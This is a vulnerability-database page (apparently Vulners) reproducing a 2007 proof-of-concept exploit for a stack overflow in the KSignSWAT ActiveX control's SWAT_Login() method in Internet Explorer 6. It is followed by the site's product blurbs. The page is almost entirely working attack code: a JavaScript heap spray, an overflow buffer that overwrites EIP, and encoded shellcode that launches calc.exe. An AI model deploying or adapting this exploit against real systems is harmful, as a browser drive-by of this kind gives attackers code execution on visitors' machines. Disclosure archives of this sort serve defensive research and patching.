Vulners
Lucene search
ksign-overflow.txt
`<!--
///////////////////////////////////////////////////////////////////
// KSignSWAT SWAT_Login() PoC Code. //
// //
// URL : www.ksign.com //
// Author : KIM Kee-hong ([email protected]) //
// Date : 2007/05/13 //
// Notice : Tested on WinXP SP2 KOREAN (all patched) with IE 6 //
///////////////////////////////////////////////////////////////////
-->
<html>
<head>
<title> www.ksign.com - KSignSWAT SWAT_Login() PoC code </title>
</head>
<body>
<object ID="vuln" CLASSID="clsid:F326007F-DD23-4724-BAFC-B1C97FC18794">
</object>
<script language=javascript>
function GetHeapPad(HeapJam, SizeofHeapPad)
{
while(HeapJam.length*2 < SizeofHeapPad)
{
HeapJam +=HeapJam;
}
HeapJam = HeapJam.substring(0, SizeofHeapPad/2);
return HeapJam;
}
// buffer 671 bytes write, then EIP overwrite.
var O5pad=unescape(
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05");
var HeapJamAddr = 0x05050505;
var SizeofHeap = 0x200000;
// calc.exe code.
var calcCode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F" +
"%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA" +
"%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F" +
"%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78" +
"%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C" +
"%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A%uFF57" +
"%u63E7%u6C61%u0063");
var SizeofCalc = calcCode.length * 2;
var SizeofHeapPad = SizeofHeap - (SizeofCalc+0x38);
var HeapJam = unescape("%u0505%u0505")
HeapJam = GetHeapPad(HeapJam, SizeofHeapPad);
HeapBread = (HeapJamAddr - 0x400000)/SizeofHeap;
mem = new Array();
for(i = 0; i<HeapBread; i++)
{
mem[i] = HeapJam + calcCode;
}
try
{
document.all.vuln.SWAT_Login(O5pad);
}catch(e){}
</script>
</body>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 May 2007 00:00Current
7.4High risk
Vulners AI Score7.4